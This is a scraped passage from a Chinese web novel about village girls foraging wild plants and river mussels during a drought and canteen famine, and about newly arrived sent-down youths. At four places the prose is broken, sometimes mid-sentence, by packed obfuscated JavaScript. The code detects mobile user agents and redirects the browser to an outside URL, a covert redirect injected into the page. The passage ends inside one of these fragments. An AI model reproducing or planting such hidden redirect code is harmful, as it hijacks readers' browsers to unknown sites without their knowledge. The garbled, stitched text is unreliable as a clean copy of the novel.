糟糕的是村里的伙食也开始变差，一开始是扎实的大白馒头和米饭，后面变成掺和着玉米面，到现在大半是麦麸，就一点面粉粘合，做成了窝头。 一口下去，得锤十多下胸口才咽的下去。 钟莹莹觉得是时候提醒舍友了，她苦着脸说：“我们村的食堂都没粮下锅了，你们还有得吃吗？” “我们也是，以前吃的多好啊，时不时还能吃上肉呢，现在呢，只有卡嗓子的窝头不说，窝头还不给吃饱，每人就发一小个。”李红雪满心怨念。 她好不容易养起来的肉，这段时间掉了个精光。 “我偷偷看了，我们村粮仓都空了！” 之前上报的产量超标，需要交的公粮就多。 没收那么多粮怎么办？好办！拿村里自留的粮食来抵啊！ 食堂消耗量又大，大家都生怕自己吃亏了，一家老小死命吃啊，一来二去的，可不没粮了嘛。 “村长说，上面会发粮的，不用急。” 钟莹莹知道，他们村村长开会回来给他们说过，这话是镇长说的。 “都缺水没种水稻，上哪发粮啊？” “我也不知道，村长是这么说的。” 村里人都跟疯了一样，没事就在家躺着，问就是地里没水，没法种田。 村长也不管，跟村民一样只等着上面发粮。 “真的能发粮吗？”祁绮很是疑惑，一般来说不是只会发救济粮的吗？救济粮也不是大家都给啊？ 吴月小声嘀咕一句：“谁知道呢？” “唉~要是不发，不知道等村里的吃完了，我们还能吃啥！” 楚秀秀冒了个头：“总得做点打算吧，饿肚子可难受了！” 她娘刚生弟弟那会儿，她就老饿肚子。 等到上初中后，她才算是真正能填饱肚子。 楚秀秀特别害怕挨饿，每次一放假回家，她就去挖野菜，侍弄地里的活计，还会抓虫子喂鸡，就为了鸡能多下两个蛋，拿去换钱或者自家吃，都不会饿肚子的。 “他们都懒得不愿意动弹，等着天上掉馅儿饼”高家娣叹了一口气，她娘中间回来过一次，来要钱的，她不在家，她爹直接将人给赶走了。 不种地，哪里会有收成啊，麦子交上去，粮仓都空了。 钟莹莹提醒道：“地得好好种，我们村种了好些红薯和高粱。” 祁绮有些好奇：“什么是高粱？” 南方长大的孩子，没有见过这种作物。 钟莹莹解释道：“杆子长得跟玉米一样，穗子是红色的，磨了壳可以吃，不怕旱。” “村长说，这是之前县里引进的种子，因为不好吃，产量也就那样，所以几乎没啥人种。” “你们回去可以让家里人试试，之前发的种子可不少嘞！” 县里发种子，是按照田地亩数来的，钟家岗有，其他村子一定也有。 “家里想种也没用啊，大家都不干，一家种，一起吃，没人愿意。”吴月无奈的摊摊手。 “好歹撒点种子，浇浇水，做做样子啊！”钟莹莹无语了。 “一说就是沟里一点水也没有，怎么种地？种子撒下去就是浪费，还不如煮了吃了。” “现在也没人说了，说了也不听，都等着占便宜呢！”李红雪翻了个大白眼，一群坐享其成的家伙。 钟莹莹不想管了，混账东西们鼠了算了。 她抬眸看着几个小伙伴稚嫩的脸庞，忽然又心软软。 都是孩子呢，自己不管，等没饭吃，别说读书了，她们不被家里卖了换彩礼算好的。 “之前晒的干菜你们都没卖吧？都藏好了，有人问就说卖给供销社换糖吃了。” 村里食堂随便吃，家里人也看不上她们采的野菜晒的干菜。 “藏的好好的呢！”李红雪拍了拍胸脯保证。 她搞那些东西就是为了等冬天能够攒够钱，买点不要票的碎布头，缝个内衣。 身上现在穿的，是她娘换下来的旧的改小的，只有一件，每次换洗的时候都很尴尬，她想着自己拼一件，夏天也能换着穿了。 “周末放假去挖白茅根去不去？我知道哪里有。”白茅根嚼起来甜甜的，乡下娃子都喜欢，大坝边上就有一处。 “我我我，我去！”钟莹莹话音刚落，李红雪就迫不及待举手。 随即楚秀秀也表示要去，高家娣回家没活干也去。 吴月有点犹豫，但是看祁绮也去，她不想像被孤立一样，也跟着报名。 宿舍六人组约定好了去坝上挖白茅根。 严格来说白茅根秋天挖最好，但现在那么旱，不挖的话，秋天可能也不剩啥了。 “祁绮，你记得带上篮子和小铲子……算了，你直接去我家吧，我家有！”家住城里的祁绮哪里会有这些农具，钟莹莹喊她直接用自家的。 “莹莹，谢谢你！”祁绮不好意思的红了脸。 坝上不止有白茅根，还有大片的紫花地丁，因为缺水，它们叶子都有些打卷了。 “咦，这还有那么多野菜？”吴月惊叹道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672446|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可惜就是有点老了。” 紫花地丁未开花前口感比较好，可以直接当菜吃，开花后就不成了，叶子老了，嚼起来都是渣渣。 “老了也没事，挖了回去晒干了，可以泡水喝，清热解毒消暑呢！”楚秀秀提了一嘴。 祁绮很是崇拜，星星眼道：“太厉害了，你们懂的好多啊！”自己啥都不知道。 “嗐，你搁村里多待一段时间也能学会。”村里娃的生存技能，有啥厉害不厉害的。 白茅根比较难挖，根系较深，需要拿铲子一点点挖。 “你尝尝，看看甜不甜？”钟莹莹刚撅出一根短的白茅根，就递给了祁绮。 祁绮学着吴月几人，在身上蹭了蹭白茅根上面的土，一点也不嫌弃地直接塞嘴里嚼起来。 “好甜好好吃，而且一点也不腻！”祁绮打开新世界大门。 原本只是过来玩，没想着刨多少的手，眼下也不自觉飞速挖动起来。 这边地的土质比较松软，并不难挖。 “嘿嘿！我也挖到了！”一根十厘米左右的白茅根被祁绮举起来炫耀。 “我的最长，你们都没我的完整。”祁绮是完美主义，只想挖出最完整最漂亮的来。 “噗呲~你看看你挖了几根，我们挖了几根”李红雪绷不住了，在学校咋没发现这人这么好玩啊！ 城里小姐和她们农村娃子就是不一样。 祁绮的篮子里只孤零零的躺了一根白茅根，反观其他人，挖的至少的钟莹莹都挖了十几根了。 祁绮：“我、我、我这是……” “好了，快挖吧，多挖点晒干了煮茶喝，跟糖水一样甜。”楚秀秀打圆场道。 高家娣挖的最卖力，她嘴里叼着一根，手下的铲子不断飞舞着，尘土飞扬间，一根根白色的根茎就被她刨出来了。 擦干净额角的汗，高家娣的动作不带停歇的，太久没尝过这般甜蜜的滋味，她要多搞一些回去慢慢吃。 中午的时候几个女孩都没回家，在坝子边上的白杨树林里找了块干净地方休息。 水和干粮是出发时就从家里带来的。 “好像野餐一样！”眼前的一切都是新鲜的，祁绮甚至觉得手里干巴的饼子配上白水都好吃的很。 身边围坐着志同道合的小伙伴，在烈日炎炎下躲在树荫里乘凉，吃的喝的都不缺，吃的饱饱的，人就容易犯困。 靠着大树，看着地上的蚂蚁运送其他虫子的尸体，还挺让人着迷。 祁绮提议！“我们每周放假都出来挖东西吧！” 钟莹莹乐了，这小丫头还挺上道，打野一次就上瘾了。 “好啊，好啊，我们村有野洋姜，没人要的，下星期可以一块来挖。”李红雪很赞同。 以前村上人当洋姜是好东西，挖的可快，现在一大片在那里，碰都没人碰。 “洋姜再等等吧，现在还没熟呢！还是先去我们村采荷叶吧，沟里没水，荷叶也活不了多久了！”吴月心情有些低落。 “那就先去吴月家，荷叶荷花香的很嘞，不摘就看着心情也好！” 几人就这么约定了下一周的活动。 钟莹莹想着，就这么慢慢引导她们藏些东西，一天天累积下来也不少了。 53. 第 53 章 就在六人组的挖啊挖中，钟莹莹他们迎来了初二的最后一次考试。 县中学期末考这次很大方。 第一名奖励十块钱，第二名五块，第三名三块，四到十名每人一块钱，说是为了庆祝‘大丰收’。 丰收不丰收的暂且不说，拿到钱的钟莹莹可是真开心，十块钱够她花很久了。 宿舍六人组也都在前十名以内，每人都领到了奖金。 “这钱我想买铅笔，可是我又好想吃肉包子，还有做衣服的布也想要，可是我没那么多钱。”李红雪吸溜了一下口水后又变得有些沮丧。 钱在学校花完了，回家最多挨顿打，没人去她家嚼舌根，家里也不会有人知道学校发钱了。 如果拿回家去，指定会被没收。 一块钱是买包子还是买铅笔呢？李红雪有些犹豫。 还是买碎布头吧，她跺了跺脚，都怪自己没考好，要是考前三，哪里需要想那么多，全都可以买。 高家娣腼腆一笑：“我想去供销社买碎布头。” 她跟李红雪一样，都没啥衣服，所以想自己攒点，凑点布头做一件小衣。 高家娣口中的碎布头，不是平常供销社员工的‘福利品’，是真正的碎的很小块的布头。那种大块的，才没人便宜卖，都是里面的工作人员当做瑕疵品自己低价买了转售给亲戚朋友。 高家娣虽然笨鸟慢飞，也飞起来了，这次期末考竟然考到年级前三去了。 兜里有三块钱，她说话的底气都变足了。 这些钱拿去换大块的碎布都足够了，她只是想省一点，把省下来的钱攒起来补贴家用。 “那我们一块去供销社？”学校讲完试卷就该放暑假了，他们假期没事情，是不会进城的。 现在先去把东西买了，等放假收拾收拾凉席枕头，直接拎着就可以回家。 冬天带被子有点麻烦，但现在是夏天，装备少，凉席一卷，轻轻松松一拎就走。 各个村都有在县城上学的孩子，放假也是牛车最多的时候，不用自己走路，可以多买点东西卷凉席里带回家。 当然，买东西的前提是得有钱。 供销社的商品很单一，平常有紧俏货的时候人很多，现在不晌午不夜的，柜台前没几个人，燥热的天气又使得售货员拿着把蒲扇，一边扇风，一边昏昏欲睡。 售货员眼皮耷拉着，有人喊他，他就把商品从玻璃柜台里拿出来展示一下，没人说话，他就继续闭眼假寐。 以往看的小说中写的售货员狗眼看人低，钟莹莹没咋见过，这里的售货员最多也就懒得搭理人。 几个小姑娘进去逛了一圈，小心挑选出自己要的东西，付完钱就出来了。 “你们假期有事情做吗？”钟莹莹又想带着他们囤东西了。 粮食扎眼，不好搞，一些副食产品弄一些，不会晃人眼球。 直到现在，他们县仍旧没有下一滴雨。 颍河的河床已经露底了，河沙和淤泥就这么裸露在空气中。 水浅时，河里的鱼已经被人抓的差不多了，附近村子都是整村去抓。 别的活干不干无所谓，这白捡的鱼不拿可就对不起自己了。 除此之前，颍河里有很多河蚌和螺蛳，这些东西不值钱，还费功夫，想要好吃，很费油盐，没啥人捡。 钟莹莹想再跟小伙伴们一块去收集的就是这玩意。 蚌肉和螺肉很易得，弄回家晒干能保存很久。 现在这个天气，没有雨，干得要死，也不怕晒不干会发霉。 或许现在不觉着有多好吃，等到没吃的时候，就会觉得这玩意香得很了。 临河的人家抓了河蚌一般是砸开喂鸭子，这东西煮了很难嚼，不是饿极没人吃。 别的村嫌弃的东西，钟家岗不嫌弃 村长钟强先带头过去，捡了河蚌，背回村，把河蚌肉取出来，开水一烫，放日头下晒干。 河蚌壳就放火上烤一烤，碾碎了，拌在草木灰里，等着种田的时候做肥料。 河蚌繁殖能力强，河道里根本捡不完。 有村子看钟家岗人搞那么多，眼红，也去弄，结果弄完壳子没处理，生的到处都是苍蝇，嗡嗡作响惹人烦，又不是离了这些东西没饭吃了，渐渐的，只有吴家村这个老伙计还在跟着弄。 一大背篓河蚌剃了肉出来，晒干之后只有七八斤。 钟莹莹想帮助小伙伴也不会损害村里人的利益，如果河蚌和螺蛳只够村里人捡，她便不会再往外说。 现在的情况是，河里到处都是，不捡等喝水彻底干涸了，这河蚌也活不下来。 这次六个人当中只有李红雪，高家娣，楚秀秀，钟莹莹了，吴月家里有事，祁绮觉得太热了，不想动。 不对，高家娣还把她弟弟给带过来了。 小家伙七八岁，个头可不小。 姐俩一人背一个大背篓，就这么从高家村一路走到了坝上。 “姐，真的有那么多河蚌吗？”高家远没离开家太远过，也没到过河边，高父就这么一个儿子，宝贝得紧。 “真的！”高家娣想干一票大的。 她舍友频繁的带他们出来找东西，怕不是有什么预感。 她自己其实也有感觉，最近的风气不太对。 好几个月没下雨，村里没法按时种稻子，好多人都躺平了。 最近，看粮仓快空了，上面也没说啥时候发粮，他们才不情不愿的补种了绿豆和红薯。 村里大食堂的饭也越来越敷衍了，原先还有窝头，现在就是乱七八糟的东西兑一起，多加点水，搅和匀了，煮熟直接给他们吃。 纯纯做猪食的手法。 村里人也被惯坏了，原先若是吃的不好，还会想法子改善一下，现在就是能吃就吃，不能吃就躺着。 要不是之前实在馋坝上的鱼，也没人愿意大热天的给自己增加工作量。 “我们今天得多捡一点，姐姐在下面往上扔，你拿石头把河蚌砸碎，肉摊在沙子上晒一晒，你不要下去，听见了没有？”高家娣抬高了声音。 “我知道了！”高家远是个乖孩子。 以前他娘在的时候，恃宠而骄还有点熊，现在家里只有姐姐和老爹，长姐如母，他一下子变得懂事起来，起码知道尊重姐姐了。 高家姐弟俩人小，家远，没有交通工具，只能靠两只脚，所以高家娣才让高家远把河蚌砸碎，只要河蚌肉，不带壳回去。 不单单是带肉，那个肉还得是简单经过日光脱水的。 水分去掉一两，他们就能多带一两河蚌肉走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675874|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咦~你们都开始抓了啊，速度真快！”楚秀秀一到坝上，就眼尖的看见正在拿竹竿戳远处河蚌的高家娣姐俩。 高家娣抿唇笑笑没说话。 楚秀秀顺手折了根树枝，也从岸边跳到河床上了。 开裂的河床脚踩上去软软的，泥土混着河沙，有种沙沙的感觉。 不到中心点没事，到中间带着黑色淤泥的地方，可能会下陷爬不上来。 钟家岗这次除了她和钟莹莹外，没别的人再来了。 其他人前些天一直捡捡捡，都捡腻歪了，包括钟新澄和丽丽俩小崽子，都帮忙干了不少活。 钟莹莹来之前问他俩要不要跟上，没一个愿意来的。 “我俩也跟家娣学着弄吧！”楚秀秀提议和钟莹莹分工合作，一人捡，一人砸肉晒太阳脱水，这样能多捡一些。 来都来了，自然是要多捡一些回去。 楚秀秀比钟莹莹年纪大，最终她决定自己下去，让钟莹莹在岸上捡河蚌开肉。 俩人打着配合，一点也不比高家姐弟俩慢。 “秀秀，你快来，看我开出什么了！”钟莹莹突然一声尖叫，一下子把附近三个人都招来了。 楚秀秀看着那颗圆润可爱的珠子，有些疑惑：“这是什么？” “是从河蚌里开出来的珍珠，搁以往能卖不少钱呢！” “那现在呢，还能卖钱吗？”提到钱楚秀秀就满眼放光。 楚琳琳辍学几年，最近到了适婚年龄。 老楚托人给介绍了好几个，她都不满意，最后一问，人家看上了村长的大儿子。 楚秀秀让她别急着嫁，等自己考上中专了，再找对象，没准能找个城里的。 楚琳琳只一副看白痴的表情说：“你不懂！” 楚秀秀很无语，姐姐一意孤行，她不行。 她爹娘说了，自己要多留心多注意。因为自己以后是要留在家里招赘的 弟弟一直傻不拉叽的，不知道什么时候能好，也许是一辈子。 姐姐嫁出去了也好，省得留在家里被弟弟拖累。 这珠子能卖钱的话，卖了可以给姐姐攒嫁妆。 “不能卖钱！”现在公私合营，拿这种奢侈品去卖，不是给人机会抓投机倒把嘛。 “哦！”楚秀秀明亮的眼睛瞬时间又变得暗淡起来。 不能卖钱要这玩意有什么用，楚秀秀大方道：“我不要这个，你自己拿着玩叭！” 钟莹莹放心的把东西借着裤兜的掩饰，丢进了空间。 几十个蚌，她一共开出来五颗珠子，数量不多，但个个圆润饱满。 “今天捡这些够了吧，再捡下去背篓要装不下了！”楚秀秀累了。 “那就不捡了。”劳逸结合，干活也不能不休息。 那五颗珍珠钟莹莹也不是故意骗小孩子东西，现在这珍珠，给楚秀秀她也用不到。 放自己这里啥时候都不会丢，以后有机会还能把那颗珍珠的份额还给楚秀秀。 钟莹莹跟楚秀秀捡完沙滩上晒着的河蚌肉，抖抖沙子背上背篓，跟高家姐弟告别后就回村了。 回到村里就听到一个噩耗，有新知青要来。 来新人意味着少量的粮食又多几个人分，全村上下没一个人满意，包括上一批的老知青们。 54. 第 54 章 “欢迎你们！”以周岱为代表的老知青们勉强对新人表现出热情。 没想到人家却不领情。 “这什么破地方啊！” 戴着眼镜，穿着西裤皮鞋的男生挠了挠胳膊被蚊子叮出的大包，眼里满是不耐烦。 “我们住哪啊？跟你们住一起？”男生进屋转了一圈后，声音陡然拔高：“这么小的房子，你让我们这么多人一起住？” “村长在哪呢，我要问问，他们是不是故意欺负我们下乡知青？” 这一批分到钟家岗的一共有三人，两男一女。 俩男生都穿的光鲜亮丽的，女孩子看起来就不太好了，身上灰扑扑的，袖口打着补丁。 “村里人都这样住，你去问了也没用！”李莉莉有些生气。 大家都住的好好的，就这新来的，没事找茬。 人家村长家也是几个人住一个屋呢！ 他们不想在这住，自己还不想给他们让位置呢！ 之前两间卧室，男生一间，她自己住一间，现在又来仨人，她得把床分出去一半，真是越想越心烦！ “你们不说是吧，不说我自己去问！”皮鞋男气势汹汹的丢下包裹就想去找茬。 没等他走出知青院，村长钟强先就带着村民抬着两张竹床过来了。 “哟，都在呢！”都在好啊，都在省事了，有事情一次性就能交待完。 “这是村民们给你们打的床，来，大小伙子的，帮忙搭把手给搬屋里去。”钟强先乐呵呵道。 房子没法再单独安排，床给多搬两张是没问题的。 “谁要帮你们这些农村人搬东西啊？我下乡是帮村里搞建设来的，不是来做这些粗活的！”皮鞋男嫌弃的要死，什么人都干指使他，真是不想好了。 钟强先的脸色冷了下来，他身后跟着的几个村民也通通变了脸。 “你叫什么名字？”这次的知青不是村里人过去接的，是县里面不打招呼直接送过来的。 皮鞋男用鼻孔看人，嘴里冷冷吐出两个字：“王岳。” “王岳是吧，哪里来的你回哪里去吧，咱们村要不起你这样的人才！”钟强先识字之后的腰杆子硬气了不少。 “我……”王岳还想争辩，同行的另一男子忙出来当和事佬：“您好，王岳他只是刚来乡下，一下子有点不习惯，他人不坏的，我代他向您道歉。” “你叫什么名字？”刚刚那个叫王岳的趾高气昂时，他不说话，现在出来当好人了，钟强先哪会连这点小把戏都看不穿，这是拿同伴给自己当垫脚石，博好名声呢！ “我叫朱志鑫。”朱志鑫嘴角长了颗大痦子，特别像放映队放的电影里的人奸，尤其是他一笑，那简直一模一样。 钟强先上下打量了一下：“行，哥俩好是吧，那你俩一块回去吧，我会给上面汇报的，到时候让他们给你们换个好地方。” “我们钟家岗穷，没啥好东西，连饭都吃不饱，你们过来也是受苦，都回去吧！” 本来日子就不好过，再来俩一个看着脑子就不好使的，一个心眼子贼多不用在正道上的，随便搞点事情，都够人受的。 “这事情也不能你做决定吧，我要见你们村长！”没达到自己预期目的，朱志鑫眯起了眼睛。 钟强先拍了拍胸脯：“你找村长干嘛？我就是。” 朱志鑫不说话了。 刚来钟家岗，王岳那个蠢货就得罪了人家村长。 这让朱志鑫思考，究竟该不该继续再留在这里。 钟强先却是不给他犹豫的机会：“你们几个把床搬走一张，留下的这张搬到小李房间去。” 来了三个新知青，不好全都赶走，那个女娃娃看起来是个老实的，就留她了。 把床拿走，也就说还是要赶他们走，王岳哪里受过这气，当即喊人：“朱志鑫，我们走，此处不留爷，自有留爷处！” 朱志鑫无语了，也不知道自己跟着这个大少爷是对是错。 他叹了一口气，终是拎着两人的包裹，跟着大少爷一块离开了钟家岗。 谁让自己家穷呢，如果他有钱，他第一个要做的就是，甩掉这个大少爷。 现在还不是时候，他需要王岳时不时从手缝里露出的‘赏赐’。 “哎呀妈呀，可算是走了，他俩在院里，我感觉呼吸都不畅快了！”徐超不想院里添新人。 几个男生住一间屋本来就够挤的了，再塞俩人，塞张床进来，屋里更是连下脚的地方都没了。 好在人都走了他不用再发愁了。 只女生那边多了个人还行，女的吃的少。 王岳路过村口的时候，钟莹莹一群小孩背着背篓刚好回来。 看着一群脏兮兮，且身上散发着腥味的脏小孩。 王岳捏着鼻子，恶狠狠道：“看什么看，再看把你们眼珠子给挖出来！” 胆小的孩子没见过这样坏的陌生人，直接被吓得跑回家了。 钟莹莹回家之后才知道走掉的俩人是新来的知青，她心里和老知青们想的一样，走得好，走的妙。 粮补都没有，就凭借一张嘴，来到他们村，人还坏的很，连小孩子都欺负，留下来也是祸害。 地里没水，下一季的粮还没着落呢。少一个人吃饭，就节约一份粮食。 钟家岗现在除了孩子，大人们都缩减了饭量，不干活的时候，一天也就对付一口稀饭，保证自己饿不死就行。 “周岱，你说咱们啥时候能回城了啊？”张强有些难过，都下乡好几年了，也没听说啥时候能回去。 这次又送来这么些个新知青，怕不是想让他们一辈子回不了家了。 周岱沉吟片刻：“应该还得再等等！” 来乡下之前，他们的抱负和目的，只实现了一小半，理想很丰满，现实很残酷。 现在的钟家岗还有很多有待改进的地方，周岱只恨自己能力有限。 “唉~等等等，一直等，等的我都老了！”张强撞见楚琳琳和村长家儿子约会，天知道他多羡慕。 不是他有了喜欢的女孩子，而是他都二十五六的年纪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687224|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，别说在乡下，就算是在城里都早到结婚的年龄了。 “思春了啊~”徐超一脸坏笑的用肩膀撞了撞他。 “哪有，别胡说！”张强恼羞成怒，他才没有，而且他爹娘说了，要是敢在乡下结婚，就打断他的腿。 本身报名下乡就是凭借着一腔热血，自己私下报名的，爹娘被气个半死，再偷偷结婚，恐怕以后回城，连家里大门都进不去。 留下的那个女孩子叫陈梦，干活真是一把好手，比他们这几个下乡有几年的还要厉害。 村里的红薯苗需要从井里担水去浇，他们几个男生挑水都费老大劲儿，陈梦一个人挑两担水健步如飞。 “你看，新来这女娃干活可厉害了！”陈显英示意老楚媳妇儿抬头看。 面前的女孩瘦弱的肩膀担这两桶水，田坎起伏不平，导致她的脚步也一上一下，但桶里的水却一滴不漏。 老楚媳妇赞叹道：“嗬！还真是个干活的好手！” 土生土长的农村娃娃都不一定有这么厉害，也就他们这些干了几十年农活的人能做到这么熟练。 老楚媳妇心思微动：“我娘家有个侄子，还没结婚呢，你说……” 陈显英只觉得好笑：“想什么呢你，人家是大城市来的，咋能看上我们农村娃娃？” “你家绍华不也是农村娃，人家明月不也一样嫁了吗？”老楚媳妇不死心，甚至拿出钟明月的例子来说服陈显英。 陈显英扶额：“那能一样吗？明月要不是爹没了，家里遭了难，我家绍华八辈子也配不上人家！” 老楚媳妇反驳道：“怎么不一样了？他们来下乡，不就是一种缘分吗？” “我说不过你，不跟你说了”脑子不清醒的人，旁人再怎么提醒也不会醒悟的。 陈梦每天干完地里的活，还会跟孩子们一起去到处挖野菜，捡干掉的榆树皮存起来。 她不爱说话，只是一味的干活。 其他知青偶尔会收到家里寄来的信，陈梦来了一个月，一次也没收到过。 “姐姐，你是哪里人啊？”钟莹莹闲着没事过来打探情报。 “我是江省的。”陈梦一边拔草一边回话。 水少，地里有草会和庄稼争水分，以前可以慢慢拔，现在他们只想尽快清理了。 “江省也要种地吗？你干活好厉害呢，我们村的婶子大娘有些还比不过你！”钟莹莹说的是实话。 “哪里都得干活。”陈梦闷声道。 钟莹莹敏锐的察觉到这里面有故事，貌似戳到人家伤疤了，连忙转移话题：“这边好多马齿苋，陈梦姐，咱俩摘了一人分一半！” 地里不止有杂草，还有野菜，马齿苋就是最为常见的一种。 不管是焯水晒干了冬天包包子，还是直接煮一下，凉拌吃，都很好吃。 陈梦对能入口的东西是来者不拒的，不管是什么，只要能填饱肚子，她都想卷了，拿回知青院，放到自己的那个小床下。 陈梦待在钟家岗融入的很快，走掉的那俩人就没那么好运了。 55. 第 55 章 “呕~~~呕~~~” 王岳扶着墙狂吐，简直不敢回忆刚刚看到的画面。 那小孩拉了屎，他娘直接喊他家狗来吃，狗吃了屎又去舔小孩屁股。 “yue~”越想王岳吐的越厉害。 “朱志鑫，咱们跑吧，这里简直不是人待的地方！”王岳说这话的时候，唇边还沾了一些呕吐物。 耳边萦绕着的苍蝇，嗡嗡转了几圈，盯上了他的嘴巴，直接趴上去大吃特吃。 朱志鑫撞见也忍不住大吐特吐。 怎么会有这样的鬼地方啊，堆肥的屎就这么露天放着，到处都是苍蝇，苍蝇爬完屎再落到人身上，落到碗碟里…… “yue~”朱志鑫的胆汁都要被吐出来了。 “不……不能跑！我们去县里，让他们给我们调……调回钟家岗……”没有介绍信乱跑就是盲流，会被抓起来遣送回原籍的。 “行，那你去收拾一下，我们现在就走，yue~”王岳边说边呕，怎么着都行，这地方，他是一分一秒也待不下去了。 原先以为钟家岗条件已经够差了，没想到其他村子不光环境差，还不讲卫生。 整整三天啊，苍蝇都快把他给吃了，天知道他俩是怎么过来的。 王岳家里有关系，所以去县里又折腾一趟要换位置，也没人难为他俩。 朱志鑫也顾不上嫉妒了，此刻他只觉得庆幸，要是没王岳，他真待在苍蝇窝里爬不出来，还不如死了算了呢！ “什么，那俩人又回来了？”钟莹莹瞪大双眼，还能这样玩的？朝令夕改？ “县里送过来的，村长不愿意收，那书记说了好久的好话。”楚秀秀听了个全程，那几个人进知青院里，她听不着了，就过来找钟莹莹分享八卦了。 有后台啊，那就不奇怪了，关系户干啥都有合理的解释。 比如之前的火彩哥，就是光明正大的欺压老百姓，要不是被抓到贪污犯罪的证据，还能够一直逍遥法外呢。 这俩人的后台也不知道多大，钟莹莹祈祷，希望人这次回来能老老实实的干活，不要作妖。 下午干活的时候，钟莹莹就见着他俩了。 比之之前的桀骜不驯，现在俩人老实不少。 沟里没水，田边的水渠里自然也没有。 浇地需要先从水井打水，再挑到地头。 王岳挑了一担子就被村长赶去拔草了，一桶水从井边到地头，能洒一半，现在水那么宝贵，可不给村长心疼坏了。 朱志鑫干活比王岳好点，也没好到哪里去。 俩人都被剥夺挑水的自由，通通被送去拔草了。 “你拔的这个是野菜，能吃，可以放到篮子里，带回去。”李莉莉见王岳不管拔了啥，都是随便往边上一丢，还是没忍住提醒了两句。 王岳不甚在意：“不是吃食堂吗？要野菜干嘛？” 他搁‘苍蝇村’也没吃过野菜，怎的到个条件好点的，还吃上野菜了？ “食堂没粮食，一天只供一顿中午饭了。”要不是上面要求必须要有大食堂，村长都想将食堂原地解散。 吴岳大为震惊：“什么？” “只供一顿饭，那我们早上晚上吃什么？”朱志鑫也无法理解。 “早晚都在自己家吃，或者不吃。”好多人晚上都是不吃的，早上在家也是对付一口。 他们这些知青回去也是胡乱煮些野菜汤喝，地里粮食不知道啥情况，哪里敢多吃？ 也是他们幸运，之前炼钢交铁时，大家都是拿废铁充数的，知青院吴老婆子留下的锅还在，不然连个煮饭锅都没得，更加悲催。 干一下午活，不给饭吃，王岳又有点想跑路了。 朱志鑫拍拍他的肩膀：“你想想苍蝇！” “yue~”王岳干呕一声，彻底断了再换一个地方的念想。 换回来的时候县委书记就说了，其他村子和他们待的那个‘苍蝇’村情况差不多，都是卫生堪忧，只有钟家岗，路也修了，家家户户都有厕所，虽然都是旱厕，但也没人会露天拉屎。 比起天天吃‘苍蝇饭’，自己煮野菜汤也没那么难熬了。 王岳把之前他丢掉的马齿苋给捡回来，放到篮子里放好，自己挖的，可不能便宜了别人。 钟莹莹跟着楚秀秀也在地里做活，大人满公分十个公分，小孩子做的好的，六个公分。 其实现在计算公分也没啥大用，都统一吃大锅饭，按照这个光景，年底不亏空算好的，哪里会有节余分发出来。 地里的红薯叶被太阳晒的打了卷，傍晚水一浇，又展开叶片，绿油油一片，看上去很是喜人。 高粱也挺直了小小的枝干，忽略缺水的事实，其实这一批庄稼长得算好的了。 村长私下问老万有没有法子祈雨，直接遭到拒绝。 老万不是傻子，村里没外人时，他搞点神叨叨的东西还行，现在住了一院子的外来人口，有一个想整他，他都好不了。 再说他也没那么大能耐，呼风唤雨。 钟家晚上吃的是菜饭，就是把米煮熟后，加入各种青菜，放盐，搅和匀了，直接吃就成，菜多米少，混个水饱，不吃晚上饿的烧心，也睡不着。 家里地窖的粮食囤了不少，正常地里没收获，也够他们一家人吃个一年多了。 陈显英还是想着省着点吃，晚上不干活，吃多了也没用，早上再吃好点。 至于中午那顿，在食堂也吃不到多好的东西，分餐制，归咎下来还是各吃各的，不能吃很好，太扎眼了。 钟莹莹嘴里扒着饭，含糊不清道：“爹，你记得提醒叔巡逻，有人偷东西呢！” 不是她危言耸听，真有人偷地里的作物。 大锅饭吃久了，人变得也懒惰了，没心思种地，又不想饿肚子，可不就出来偷东西了。 钟伟先沉吟片刻：“确实该安排人巡逻。”村里人闲着也是闲着，巡逻又不费人，每家轮着来，一个月一家也就两天，加上知青那边，妥妥的。 钟绍华忍俊不禁：“莹莹你挺聪明啊！” “那是，我考试都考第一名呐！”钟莹莹自豪的很，一点没有成年人和中学生比较的心虚，要的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 